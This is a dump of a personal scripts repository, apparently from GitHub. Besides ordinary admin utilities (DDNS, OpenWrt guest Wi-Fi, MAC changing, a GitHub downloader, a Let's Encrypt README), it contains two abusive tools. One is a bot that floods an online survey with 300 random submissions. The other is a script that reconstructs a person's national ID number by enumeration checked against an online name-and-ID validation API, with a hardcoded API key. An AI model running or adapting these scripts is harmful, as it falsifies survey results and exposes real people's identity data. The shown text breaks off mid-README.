├── Lediaocha_robot.py ├── README.md ├── SHELL ├── change_mac.sh ├── change_srceen_brightness.sh ├── no_root_wireshark.sh └── openwrt_guest.sh ├── ddns ├── README.md ├── ddns.conf ├── ddns.sh └── dnspod.py ├── dnsmasq └── accelerated-domains.china.conf ├── github ├── README.md └── github_downloader.py ├── id_cracker ├── README.md ├── city_data.json └── id_crack.py ├── le-dns ├── README.md ├── cloudflare-hook.sh ├── cloudflare.conf ├── cloudflare.sh ├── cloudxns-hook.sh ├── cloudxns.conf ├── cloudxns.sh ├── dnspod-hook.sh ├── dnspod.conf ├── dnspod.sh ├── get.py ├── le-cloudflare.sh ├── le-cloudxns.sh └── le-dnspod.sh ├── mysql ├── README.md └── mysql_backup.py ├── nfc ├── README.md ├── mfdread.py ├── pm3_bin2eml.py └── pm3_eml2bin.py ├── python_base ├── README.md ├── get_word_frequencies.py ├── py_xml.py ├── python_excel.py ├── python_mongodb_mysql.py └── sendmail.py ├── pyzip ├── README.md └── pyzip.py ├── sec ├── Crack_drcom_passwd.py ├── README.md ├── cisco-decrypt.c ├── des_encrypt.py ├── fake_mail.py ├── hash_id.py └── hh3c_cipher.py ├── sshkey_gen_upload ├── README.md └── sshkey_gen_upload.sh └── zkteco_check_in ├── README.md └── log.sh /Lediaocha_robot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2015-11-09 11:16:01 4 | # @Author : linsir (root@linsir.org) 5 | # @Link : http://linsir.org 6 | # 乐调查自动填问卷调查脚本 7 | 8 | import urllib 9 | import urllib2 10 | import cookielib 11 | import re 12 | import random 13 | 14 | class Le_robot: 15 | def __init__(self,url): 16 | self.post_url = url 17 | self.cookieFile = "cookies_saved.txt"; 18 | self.cookie = cookielib.LWPCookieJar(self.cookieFile); 19 | #will create (and save to) new cookie file 20 | self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)) 21 | self.opener.addheaders = [("User-agent","MMozilla/5.0 (X11; Linux x86_64)\ 22 | AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36")] 23 | 24 | 25 | def open_via_cookies(self, url): 26 | response = self.opener.open(url) 27 | html = response.read() 28 | # fp = open("1.html","wb") 29 | # fp.write(html) 30 | # fp.close 31 | self.html = html 32 | return html 33 | 34 | def get_keys(self, html): 35 | 36 | auth = re.compile(r'name="auth" value="(.+?)" />').findall(self.html)[0] 37 | action = re.compile(r'name="action" value="(.+?)" />').findall(self.html)[0] 38 | t = re.compile(r'name="t" value="(.+?)" />').findall(self.html)[0] 39 | 40 | return auth,action,t 41 | 42 | def get_questions(self): 43 | self.open_via_cookies(self.post_url) 44 | q_lists = re.compile(r'name="(.+?)".+? value="(.+?)"').findall(self.html) 45 | qa = {} 46 | for x in q_lists: 47 | if qa.has_key(x[0]): 48 | qa[x[0]].append(x[1]) 49 | else: 50 | qa[x[0]] = [x[1]] 51 | if len(x[0]) == 64: 52 | qa[x[0]].append("0") 53 | 54 | return qa 55 | 56 | def submit(self): 57 | data = self.get_questions() 58 | submit_data = {} 59 | submit_data['auth'], submit_data['action'], submit_data['t'] = self.get_keys(self.html) 60 | for question, answer in data.items(): 61 | submit_data[question] = random.choice(answer) 62 | for key, value in submit_data.items(): 63 | if value == '0': 64 | del submit_data[key] 65 | # for key, value in submit_data.items(): 66 | # print key, ':', value 67 | request = urllib2.Request(self.post_url) 68 | request.add_header("Origin", "http://www.lediaocha.com") 69 | request.add_header("Referer", self.post_url) 70 | html = self.opener.open(request, urllib.urlencode(submit_data)).read() 71 | # print html 72 | 73 | 74 | 75 | 76 | 77 | if __name__ == '__main__': 78 | url = "http://www.lediaocha.com/pc/s/1y5gab" 79 | url = "http://www.lediaocha.com/pc/s/1ojf52" 80 | app = Le_robot(url) 81 | # app.submit() 82 | for i in range(300): 83 | app.submit() 84 | print "OK,成功填写 %s 份!"%(i+1) 85 | 86 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pyscripts 2 | Some powerful scripts and tools wrote by Python! 3 | 4 | -------------------------------------------------------------------------------- /SHELL/change_mac.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #author:vi5i0n 3 | #date:2013-6-25 4 | #the script can change the eth's mac address 5 | 6 | #setting 7 | eth=eth0 8 | 9 | sudo ifconfig $eth down 10 | echo "$eth is downing now!" 11 | sleep 3 12 | if [ $1 ]; 13 | then 14 | sudo macchanger -m $1 $eth 15 | else 16 | sudo macchanger -r $eth 17 | fi 18 | sleep 2 19 | sudo ifconfig $eth up 20 | ifconfig $eth 21 | exit 0 22 | 23 | 24 | -------------------------------------------------------------------------------- /SHELL/change_srceen_brightness.sh: -------------------------------------------------------------------------------- 1 | #!bin/bash 2 | #author:vi5i0n 3 | #date:2013-06-24 4 | # 5 | read -p "pls input the brightness value(20-976):" value 6 | 7 | if [ $value -lt 20 -o $value -gt 976 ]; 8 | then 9 | echo "Error value!" 10 | exit 0 11 | else 12 | echo $value > /sys/class/backlight/intel_backlight/brightness 13 | # echo "Have changed!" 14 | fi 15 | exit 0 16 | 17 | -------------------------------------------------------------------------------- /SHELL/no_root_wireshark.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo apt-get install wireshark 3 | sudo groupadd wireshark 4 | sudo usermod -a -G wireshark $USER 5 | sudo chgrp wireshark /usr/bin/dumpcap 6 | sudo chmod 750 /usr/bin/dumpcap 7 | sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap 8 | sudo getcap /usr/bin/dumpcap 9 | -------------------------------------------------------------------------------- /SHELL/openwrt_guest.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # This is supposed to be run on openwrt 4 | 5 | # Written by Stanislav German-Evtushenko, 2014 6 | # Based on http://wiki.openwrt.org/doc/recipes/guest-wlan 7 | 8 | # Configure guest network 9 | uci delete network.guest 10 | uci set network.guest=interface 11 | uci set network.guest.proto=static 12 | uci set network.guest.ipaddr=192.168.0.254 13 | uci set network.guest.netmask=255.255.255.0 14 | 15 | # Configure guest Wi-Fi 16 | uci delete wireless.guest 17 | uci set wireless.guest=wifi-iface 18 | uci set wireless.guest.device=radio0 19 | uci set wireless.guest.mode=ap 20 | uci set wireless.guest.network=guest 21 | uci set wireless.guest.ssid=FreeWiFi 22 | uci set wireless.guest.encryption=none 23 | # uci set wireless.guest.dhcp_option '118.114.52.33' 24 | 25 | # Configure DHCP for guest network 26 | uci delete dhcp.guest 27 | uci set dhcp.guest=dhcp 28 | uci set dhcp.guest.interface=guest 29 | uci set dhcp.guest.start=1 30 | uci set dhcp.guest.limit=30 31 | uci set dhcp.guest.leasetime=1h 32 | 33 | # Configure firewall for guest network 34 | ## Configure guest zone 35 | uci delete firewall.guest_zone 36 | uci set firewall.guest_zone=zone 37 | uci set firewall.guest_zone.name=guest 38 | uci set firewall.guest_zone.network=guest 39 | uci set firewall.guest_zone.input=REJECT 40 | uci set firewall.guest_zone.forward=REJECT 41 | uci set firewall.guest_zone.output=ACCEPT 42 | ## Allow Guest -> Internet 43 | uci delete firewall.guest_forwarding 44 | uci set firewall.guest_forwarding=forwarding 45 | uci set firewall.guest_forwarding.src=guest 46 | uci set firewall.guest_forwarding.dest=wan 47 | ## Allow DNS Guest -> Router 48 | uci delete firewall.guest_rule_dns 49 | uci set firewall.guest_rule_dns=rule 50 | uci set firewall.guest_rule_dns.name='Allow DNS Queries' 51 | uci set firewall.guest_rule_dns.src=guest 52 | uci set firewall.guest_rule_dns.dest_port=53 53 | uci set firewall.guest_rule_dns.proto=udp 54 | uci set firewall.guest_rule_dns.target=ACCEPT 55 | ## Allow DHCP Guest -> Router 56 | uci delete firewall.guest_rule_dhcp 57 | uci set firewall.guest_rule_dhcp=rule 58 | uci set firewall.guest_rule_dhcp.name='Allow DHCP request' 59 | uci set firewall.guest_rule_dhcp.src=guest 60 | uci set firewall.guest_rule_dhcp.src_port=68 61 | uci set firewall.guest_rule_dhcp.dest_port=67 62 | uci set firewall.guest_rule_dhcp.proto=udp 63 | uci set firewall.guest_rule_dhcp.target=ACCEPT 64 | 65 | # config redirect 66 | # uci delete firewall.redirect 67 | # uci set firewall.redirect=redirect 68 | # uci set firewall.redirect.name='proxy' 69 | # uci set firewall.redirect.src=guest 70 | # uci set firewall.redirect.src_dport=80 71 | # uci set firewall.redirect.proto=tcp 72 | # uci set firewall.redirect.dest_ip=118.114.52.47 73 | # uci set firewall.redirect.dest_port=3128 74 | 75 | uci commit 76 | 77 | # Configure wshaper (optional) 78 | opkg update 79 | opkg install wshaper 80 | uci set wshaper.settings=wshaper 81 | uci set wshaper.settings.network=guest 82 | uci set wshaper.settings.downlink=500 83 | uci set wshaper.settings.uplink=2000 84 | ## Work around for https://github.com/openwrt/packages/issues/565 (wshaper: settings are not applied on boot) 85 | echo -e '#!/bin/sh\n\n[ "$ACTION" = ifup ] && /etc/init.d/wshaper enabled && /etc/init.d/wshaper start || exit 0' > /etc/hotplug.d/iface/10-wshaper 86 | 87 | uci commit 88 | 89 | 90 | 91 | # Enable the new wireless network 92 | /etc/init.d/network restart 93 | # Restart the firewall 94 | /etc/init.d/firewall restart 95 | # Restart the DHCP service 96 | /etc/init.d/dnsmasq restart 97 | # Start traffic shaping 98 | /etc/init.d/wshaper start 99 | # Make traffic shaping permanent 100 | /etc/init.d/wshaper enable -------------------------------------------------------------------------------- /ddns/README.md: -------------------------------------------------------------------------------- 1 | # DDNS 2 | 3 | 1. dnspod.py: python 实现 4 | 2. ddns.sh: Shell实现 -------------------------------------------------------------------------------- /ddns/ddns.conf: -------------------------------------------------------------------------------- 1 | login_email='*****' 2 | login_password='****' 3 | main_domain='domain.com' 4 | sub_domain='dht' 5 | 6 | wanip='iframe.ip138.com/ic.asp' 7 | #addon_opt='--cacert /etc/ssl/cacert.pem' 8 | 9 | ### DOT NOT MODIFY THE FOLLOWING 10 | -------------------------------------------------------------------------------- /ddns/ddns.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # sddns, a dnspod ddns client for linux and FreeBSD. 4 | # Written by vinoca, June 2013 5 | # Distributed under the MIT License 6 | # 7 | # more visit www.vinoca.org 8 | 9 | VERSION=0.0.9.1 10 | SIGN="sddns/$VERSION(vinoca@vinoca.org)" 11 | 12 | config_file="./sddns.conf" 13 | 14 | # load config file 15 | [ ! -w $config_file ] && echo "ERROR: config file \"$config_file\" does not exist or have not write permission." && exit 1 16 | . $config_file 17 | 18 | type curl 2>&1 >/dev/null || { echo "ERROR: \"curl\" is not in your system.";exit 1;} 19 | 20 | # check $wanip 21 | [ -z "$wanip" ] && echo "ERROR: Please check \"$config_file\", \"wanip\" is invalid ." && exit 1 22 | # this regular expression from http://www.regular-expressions.info/examples.html 23 | cur_wanip=`curl -sL $wanip | grep -Eo '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b'` 24 | [ -z "$cur_wanip" ] && ignore_wanip=1 && echo "WARNING: \"wanip\" is invalid." 25 | 26 | # wrap some routines 27 | post() { 28 | curl $addon_opt -sL -A $SIGN --data "login_email=$login_email&login_password=$login_password&format=json&error_on_empty=no&$1" "https://dnsapi.cn/$2" 29 | } 30 | 31 | get_domain_id() { 32 | sed -rn 's/.*("domain":\{.[^}]+\}).*/\1/g;s/.*"id":"([0-9]+)".*/\1/p' 33 | } 34 | 35 | get_record_id() { 36 | sed -rn "s/.*(\"records\":\[.[^]]+\]).*/\1/g;s/.*\{\"id\":\"([0-9]+)\",\"name\":\"$1\".*\"type\":\"A\".*/\1/p" 37 | } 38 | 39 | save_value() { 40 | grep "$1" $config_file >/dev/null 2>&1 || { echo "$1=$2" >> $config_file; return 0; } 41 | sed -i "s/$1=.*/$1=$2/g" $config_file 42 | } 43 | 44 | # save domain_id and record_id if that is not in config_file 45 | # 46 | [ -z "$domain_id" ] && { 47 | domain_id=`post "domain=$main_domain" Domain.Info | get_domain_id` 48 | save_value domain_id $domain_id 49 | } 50 | 51 | [ -z "$record_id1" ] && { 52 | [ -z "$sub_domain" ] && echo "ERROR: Please check \"$config_file\", \"sub_domain\" is invalid ." && exit 53 | num_sub_domain=$((`echo $sub_domain | tr -cd ',' | wc -c`+1)) 54 | save_value num_sub_domain $num_sub_domain 55 | for i in `seq $num_sub_domain`; do 56 | sd_str=`echo $sub_domain | cut -d ',' -f$i` 57 | eval sd$i=$sd_str 58 | eval record_id$i=`post "domain_id=$domain_id" Record.List | get_record_id $sd_str` 59 | save_value sd$i $sd_str 60 | save_value record_id$i `eval echo $\record_id$i` 61 | done 62 | } 63 | 64 | # update subdomain record if wanip is changed. 65 | # 66 | [ -z $ignore_wanip ] && [ "$cur_ip" = "$cur_wanip" ] && exit 0 67 | save_value cur_ip $cur_wanip 68 | for i in `seq $num_sub_domain`; do 69 | s=`eval echo \\$sd$i` 70 | n=`eval echo \\$record_id$i` 71 | post "domain_id=$domain_id&record_id=$n&sub_domain=$s&record_line=默认" Record.Ddns 72 | done 73 | exit 2 74 | 75 | # vim: set ts=2 sw=2 noet: 76 | -------------------------------------------------------------------------------- /ddns/dnspod.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2014-01-13 20:50:52 4 | # @Author : Linsir (root@linsir.org) 5 | # @Link : http://linsir.org 6 | 7 | 8 | import httplib, urllib 9 | import re, urllib2, json 10 | import socket, sys 11 | 12 | 13 | domain = "Domain" 14 | sub_domain = ['@',] 15 | email = "username@email.com"# replace with your email 16 | password = "passwd"# replace with your password 17 | 18 | class Dnspod(object): 19 | """docstring for dnspod""" 20 | def __init__(self): 21 | self.params = { 22 | "login_email" : email, 23 | "login_password" : password, 24 | "format" : "json", 25 | "record_line" : "默认", 26 | } 27 | 28 | def get_public_ip(self): 29 | data = urllib2.urlopen("http://ip.cn").read() 30 | ip = re.search('\d+\.\d+\.\d+\.\d+',data).group(0) 31 | return ip 32 | 33 | def get_domain_ip(self): 34 | result=socket.getaddrinfo(domain,'http')[0][4][0] 35 | return result 36 | 37 | def post(self,method): 38 | headers = {"UserAgent":"Ddns Client/0.1.0(vi5i0n@hotmail.com)", 39 | "Content-type": "application/x-www-form-urlencoded", 40 | "Accept": "application/json, text/javascript, */*; q=0.01" 41 | } 42 | conn = httplib.HTTPSConnection("dnsapi.cn") 43 | conn.request("POST", "/"+method, urllib.urlencode(self.params), headers) 44 | response = conn.getresponse() 45 | 46 | data = response.read() 47 | conn.close() 48 | return data 49 | 50 | def get_domain_id(self): 51 | self.params.update(dict(domain=domain)) 52 | data = self.post("Domain.Info") 53 | data = json.loads(data) 54 | domain_id = data["domain"]["id"] 55 | return domain_id 56 | 57 | def get_record_id(self): 58 | record_ids = {} 59 | domain_id = self.get_domain_id() 60 | self.params.update(dict(domain_id=domain_id)) 61 | data = self.post("Record.List") 62 | data = json.loads(data) 63 | # domain_id = re.search('\d{5,9}',data).group(0) 64 | for record in data["records"]: 65 | if record["type"] == 'A': 66 | if record["name"] in sub_domain: 67 | name = record["name"] 68 | record_ids[name] = record["id"] 69 | 70 | # print record_ids 71 | return record_ids 72 | 73 | def update_record(self, ip): 74 | ids = self.get_record_id() 75 | for sub in ids: 76 | self.params.update(dict(sub_domain=sub)) 77 | self.params.update(dict(record_id=ids[sub])) 78 | self.params.update(dict(value=ip)) 79 | data = self.post("Record.Ddns") 80 | data = json.loads(data) 81 | return data['status']['code'] 82 | 83 | 84 | if __name__ == '__main__': 85 | dns = Dnspod() 86 | try: 87 | domain_ip = dns.get_domain_ip() 88 | public_ip = dns.get_public_ip() 89 | if domain_ip != public_ip: 90 | if dns.update_record(public_ip): 91 | print "Okay,updated with: %s!" %public_ip 92 | print "The IP:%s is right now." %public_ip 93 | except: 94 | print "Domain or Network Conncetion Error!Please check it out!" 95 | -------------------------------------------------------------------------------- /github/README.md: -------------------------------------------------------------------------------- 1 | # Github Downloader 2 | 3 | Author: Linsir(https://linsir.org)" 4 | Download any files or folders from repository in GitHub. 5 | 6 | **Usage: ** 7 | 8 | python github_downloader.py -o [save path] [github url] " -------------------------------------------------------------------------------- /github/github_downloader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2016-04-25 13:46:38 4 | # @Author : Linsir (root@linsir.org) 5 | # @Link : http://linsir.org 6 | # @Version : 7 | 8 | import os 9 | import getopt 10 | import requests 11 | import re 12 | import urlparse 13 | from time import sleep 14 | from threading import Thread 15 | 16 | import sys 17 | reload(sys) 18 | sys.setdefaultencoding( "utf-8" ) 19 | 20 | UPDATE_INTERVAL = 0.01 21 | 22 | class URLThread(Thread): 23 | def __init__(self, url, timeout=10, allow_redirects=True): 24 | super(URLThread, self).__init__() 25 | self.url = url 26 | self.timeout = timeout 27 | self.allow_redirects = allow_redirects 28 | self.response = None 29 | 30 | 31 | def run(self): 32 | try: 33 | self.response = requests.get(self.url, timeout = self.timeout, allow_redirects = self.allow_redirects) 34 | except Exception , e: 35 | print e 36 | 37 | class downloader(object): 38 | """ 39 | Download any files or folders from repository in GitHub. 40 | """ 41 | def __init__(self, url, path="./"): 42 | self.session = requests.Session() 43 | self.session.headers = { 44 | "User-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36", 45 | "Origin": "https://github.com", 46 | } 47 | self.base_url = url 48 | self.all_files = {} 49 | self.path = path 50 | 51 | def get_files(self, url, path="./"): 52 | 53 | html = self.multi_get([url])[0][1].content 54 | files = re.compile(r'td class="content".+?', re.DOTALL).findall(html) 55 | urls = [ self.fix_file_url(url) for url in files ] 56 | for url in urls: 57 | now_path = self.is_dir(url) 58 | if now_path: 59 | self.get_files(url, now_path) 60 | else: 61 | filename = url.split("/")[-1] 62 | self.all_files[url] = path + "/" + filename 63 | return self.all_files 64 | 65 | def is_dir(self, url): 66 | url_dict = url.split('/') 67 | base_url_dict = self.base_url.split('/') 68 | length = len(base_url_dict) 69 | if url_dict[5] == 'tree': 70 | ret = url_dict[length:] 71 | if "tree" not in base_url_dict: 72 | ret = ret[2:] 73 | return "/".join(ret) 74 | else: 75 | return None 76 | 77 | def fix_file_url(self,url): 78 | url = 'https://github.com' + url 79 | return url.replace('blob', 'raw') 80 | 81 | def multi_get(self, uris, timeout=10, allow_redirects=True): 82 | ''' 83 | uris 文件列表 84 | timeout 访问url超时时间 85 | allow_redirects 是否url自动跳转 86 | ''' 87 | def alive_count(lst): 88 | alive = map(lambda x : 1 if x.isAlive() else 0, lst) 89 | return reduce(lambda a,b : a + b, alive) 90 | threads = [ URLThread(uri, timeout, allow_redirects) for uri in uris ] 91 | for thread in threads: 92 | thread.start() 93 | while alive_count(threads) > 0: 94 | sleep(UPDATE_INTERVAL) 95 | return [ (x.url, x.response) for x in threads ] 96 | 97 | def _path(self, file_name): 98 | 99 | folder = os.path.split(file_name)[0] 100 | if not os.path.exists(folder): 101 | os.makedirs(folder) 102 | return file_name 103 | 104 | def save(self, data): 105 | prefix = self.base_url.split("/")[-1] 106 | for url, r in data: 107 | file_name = prefix + '/' + self.all_files[url] 108 | with open(self._path(file_name), "wb") as code: 109 | code.write(r.content) 110 | 111 | def run(self): 112 | print "Get files list ..." 113 | all_files = self.get_files(self.base_url, self.path) 114 | # print all_files 115 | print "Download now ..." 116 | uris = all_files.keys() 117 | data = self.multi_get(uris) 118 | self.save(data) 119 | print "Save Data Sucessfully." 120 | 121 | class Usage(Exception): 122 | def __init__(self, msg): 123 | self.msg = msg 124 | 125 | def help_msg(): 126 | print("Author: Linsir(https://linsir.org)") 127 | print("Download any files or folders from repository in GitHub.") 128 | print("Usage: github_downloader.py -o [save path] [github url] ") 129 | 130 | sys.exit(0) 131 | 132 | def main(argv=None): 133 | if argv is None: 134 | argv = sys.argv 135 | 136 | try: 137 | out_path = "./" 138 | url = None 139 | try: 140 | opts, args = getopt.getopt(argv[1:], "ho:", ["help"]) 141 | for op,value in opts: 142 | if op in ("-h","-H","--help"): 143 | help_msg() 144 | if op == "-o": 145 | out_path = value 146 | if args: 147 | url = args[0] 148 | except getopt.error, msg: 149 | raise Usage(msg) 150 | # more code, unchanged 151 | if url: 152 | app = downloader(url,out_path) 153 | app.run() 154 | except Usage, err: 155 | print >>sys.stderr, err.msg 156 | print >>sys.stderr, "for help use --help" 157 | return 2 158 | 159 | 160 | if __name__ == '__main__': 161 | # url = 'https://github.com/onlylemi/download-any-for-github' 162 | # url = 'https://github.com/vi5i0n/ngx-lua-images/tree/master/ngx-lua-images' 163 | # url = 'https://github.com/vi5i0n/Pastebin/tree/master/static' 164 | # app = downloader(url) 165 | # app.run() 166 | sys.exit(main()) 167 | -------------------------------------------------------------------------------- /id_cracker/README.md: -------------------------------------------------------------------------------- 1 | ## 身份证号码验证及生成。 2 | 3 | ```python 4 | name = '邓超' 5 | app = IDCard() 6 | app.get_checkcode(id[:-1]) 7 | print app.get_location(id[:6])['address'] 8 | print app.has_location(id[:6]) 9 | print app.validation_id(id) 10 | for x in app.gen_id('350626', '19870108', '0'): 11 | print x 12 | print app.validation_id_net(id, name) 13 | 14 | ``` 15 | -------------------------------------------------------------------------------- /id_cracker/id_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2016-11-16 09:54:57 4 | # @Author : Linsir (root@linsir.org) 5 | # @Link : http://linsir.org 6 | # @Version : 7 | # 身份号的生成算法:6位地址码+8位出生日期码+3位顺序码+1位校验码, 8 | # 其中3位顺序码属于随机生成「顺序码是给同地址码同出生日期码的人编定的顺序号, 9 | # 其中奇数分配给男性,偶数分配给女性」,其它位都是可以通过条件得知。那么,最多发起500个网络请求,就能还原一个身份证号。 10 | # 在线验证 API Docs: http://www.id98.cn/doc/idcard 11 | # Sex:M:1 or F:0 12 | 13 | import json 14 | import requests 15 | import datetime 16 | 17 | DB_FILE = 'city_data.json' 18 | APP_KEY = '6be2b332ba7d24c29539ec0fbb064421' 19 | 20 | class IDCard(object): 21 | """docstring for IDCard""" 22 | def __init__(self): 23 | with open(DB_FILE, 'r') as f: 24 | self.data = json.load(f) 25 | 26 | def gen_num(self, sex): 27 | if sex == '0': 28 | for x in xrange(0, 1000, 2): 29 | if len(str(x)) == 1: 30 | yield '00' + str(x) 31 | elif len(str(x)) == 2: 32 | yield '0' + str(x) 33 | else: 34 | yield str(x) 35 | elif sex == '1': 36 | for x in xrange(1, 1000, 2): 37 | if len(str(x)) == 1: 38 | yield '00' + str(x) 39 | elif len(str(x)) == 2: 40 | yield '0' + str(x) 41 | else: 42 | yield str(x) 43 | else: 44 | return 45 | 46 | def get_location(self, addr): 47 | return self.data[addr] 48 | 49 | def has_location(self, addr): 50 | return self.data.has_key(addr) 51 | 52 | def get_checkcode(self, id): 53 | if len(id) != 17: 54 | return 55 | weight = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] 56 | id_sum = reduce( 57 | lambda x, y: x + y, 58 | map( 59 | lambda x, y: x * y, 60 | [int(x) for x in id], 61 | weight)) 62 | mod = id_sum % 11 63 | CountRule = { 64 | '0': '1', 65 | '1': '0', 66 | '2': 'X', 67 | '3': '9', 68 | '4': '8', 69 | '5': '7', 70 | '6': '6', 71 | '7': '5', 72 | '8': '4', 73 | '9': '3', 74 | '10': '2'} 75 | checkcode_value = CountRule.get(str(mod), None) 76 | return checkcode_value 77 | 78 | def gen_id(self, addr, birthday, sex): 79 | if not self.has_location(addr): 80 | return 81 | for x in self.gen_num(sex): 82 | pre_id = addr + birthday + x 83 | checkcode = self.get_checkcode(pre_id) 84 | yield pre_id + checkcode 85 | 86 | def validation_id_net(self, id, name): 87 | data = { 88 | "cardno": id, 89 | "name": name, 90 | "appkey": APP_KEY 91 | } 92 | url = 'http://api.id98.cn/api/idcard' 93 | # url = 'http://httpbin.org/get' 94 | r = requests.get(url, params=data) 95 | return r.json() 96 | 97 | def validation_id(self, id): 98 | if not self.has_location(id[:6]): 99 | return False 100 | if self.get_checkcode(id[:-1]) == id[-1]: 101 | return True 102 | else: 103 | return False 104 | 105 | def date_range(self, start_date, end_date): 106 | for n in range(int ((end_date - start_date).days)): 107 | yield start_date + datetime.timedelta(n) 108 | 109 | def get_days_of_year(self, year): 110 | start = datetime.datetime(int(year),1,1) 111 | end = datetime.datetime(int(year), 12, 31) 112 | 113 | for i in self.date_range(start, end): 114 | # print i.year, i.month, i.day 115 | yield i.strftime("%Y%m%d") 116 | 117 | def gen_id_no_birthday(self, addr, year, checkcode): 118 | for birthday in self.get_days_of_year(year): 119 | now_id = addr + birthday + checkcode 120 | if self.validation_id(now_id): 121 | print now_id 122 | 123 | if __name__ == '__main__': 124 | id = '350626198701084431' 125 | name = '邓超' 126 | app = IDCard() 127 | addr = '450922' 128 | year = '1990' 129 | checkcode = '0952' 130 | # app.get_checkcode(id[:-1]) 131 | # print app.get_location(id[:6])['address'] 132 | # print app.has_location(id[:6]) 133 | # print app.validation_id(id) 134 | # for x in app.gen_id('350626', '19870108', '0'): 135 | # print x 136 | # print app.validation_id_net(id, name) 137 | # print app.get_days_of_year('1990') 138 | app.gen_id_no_birthday(addr, year, checkcode) 139 | 140 | -------------------------------------------------------------------------------- /le-dns/README.md: -------------------------------------------------------------------------------- 1 | 通过 DNS 验证方式获取 lets-encrypt 证书的快速脚本 2 | ---------------- 3 | 4 | Fork from 5 | 6 | 脚本基于 [letsencrypt.sh](https://github.com/lukas2511/letsencrypt.sh),通过调用 dns 服务商接口更新 TXT 记录用于认证,实现快速获取 lets-encrypt 证书。无需root权限,无需指定网站目录及DNS解析 7 | 8 | ## cloudflare 9 | 10 | **下载** 11 | 12 | ``` 13 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/le-cloudflare.sh 14 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/cloudflare.conf 15 | chmod +x le-cloudflare.sh 16 | ``` 17 | 18 | **配置** 19 | 20 | `cloudflare.conf` 文件内容 21 | 22 | ``` 23 | CF_EMAIL="YOUR_API_KEY" 24 | CF_EMAIL="YOUR_SECRET_KEY" 25 | DOMAIN="example.com" 26 | CERT_DOMAINS="example.com www.example.com im.example.com" 27 | #ECC=TRUE 28 | ``` 29 | 30 | 修改其中的 `CF_EMAIL` 及 `CF_EMAIL` 为您的邮箱和 [cloudflare api key](https://www.cloudflare.com/a/profile) ,修改 `DOMAIN` 为你的根域名,修改 `CERT_DOMAINS` 为您要签的域名列表,需要 `ECC` 证书时请取消 `#ECC=TRUE` 的注释。 31 | 32 | **野卡证书** 33 | 34 | 脚本支持野卡证书,请修改 `CERT_DOMAINS` 为 "example.com *.example.com sub.example.com *.sub.example.com" 。注意如果之前使用过脚本,需要更新脚本内容,删除所有 `*.sh` 文件再下载运行脚本。 35 | 36 | **运行** 37 | 38 | `./le-cloudflare.sh cloudflare.conf` 39 | 40 | 最后生成的文件在当前目录的 certs 目录下 41 | 42 | **cron 定时任务** 43 | 44 | 如果证书过期时间不少于30天, [letsencrypt.sh](https://github.com/lukas2511/letsencrypt.sh) 脚本会自动忽略更新,所以至少需要29天运行一次更新。 45 | 46 | 每隔20天(每个月的2号和22号)自动更新一次证书,可以在 `le-cloudflare.sh` 脚本最后加入 service nginx reload等重新加载服务。 47 | 48 | `0 0 2/20 * * /etc/nginx/le-cloudflare.sh /etc/nginx/le-cloudflare.conf >> /var/log/le-cloudflare.log 2>&1` 49 | 50 | **注意** `ubuntu 16.04` 不能定义 `day of month` 含有开始天数的 `step values`,可以替换命令中的 `2/20` 为 `2,22`。 51 | 52 | 更详细的 crontab 参数请参考 [crontab.guru](http://crontab.guru/) 进行自定义 53 | 54 | 55 | ## cloudxns 56 | 57 | **下载** 58 | 59 | ``` 60 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/le-cloudxns.sh 61 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/cloudxns.conf 62 | chmod +x le-cloudxns.sh 63 | ``` 64 | 65 | **配置** 66 | 67 | `cloudxns.conf` 文件内容 68 | 69 | ``` 70 | API_KEY="YOUR_API_KEY" 71 | SECRET_KEY="YOUR_SECRET_KEY" 72 | DOMAIN="example.com" 73 | CERT_DOMAINS="example.com www.example.com im.example.com" 74 | #ECC=TRUE 75 | ``` 76 | 77 | 修改其中的 `API_KEY` 及 `SECRET_KEY` 为您的 [cloudxns api key](https://www.cloudxns.net/AccountManage/apimanage.html) ,修改 `DOMAIN` 为你的根域名,修改 `CERT_DOMAINS` 为您要签的域名列表,需要 `ECC` 证书时请取消 `#ECC=TRUE` 的注释。 78 | 79 | **运行** 80 | 81 | `./le-cloudxns.sh cloudxns.conf` 82 | 83 | 最后生成的文件在当前目录的 certs 目录下 84 | 85 | **cron 定时任务** 86 | 87 | 如果证书过期时间不少于30天, [letsencrypt.sh](https://github.com/lukas2511/letsencrypt.sh) 脚本会自动忽略更新,所以至少需要29天运行一次更新。 88 | 89 | 每隔20天(每个月的2号和22号)自动更新一次证书,可以在 `le-cloudxns.sh` 脚本最后加入 service nginx reload等重新加载服务。 90 | 91 | `0 0 2/20 * * /etc/nginx/le-cloudxns.sh /etc/nginx/le-cloudxns.conf >> /var/log/le-cloudxns.log 2>&1` 92 | 93 | **注意** `ubuntu 16.04` 不能定义 `day of month` 含有开始天数的 `step values`,可以替换命令中的 `2/20` 为 `2,22`。 94 | 95 | 更详细的 crontab 参数请参考 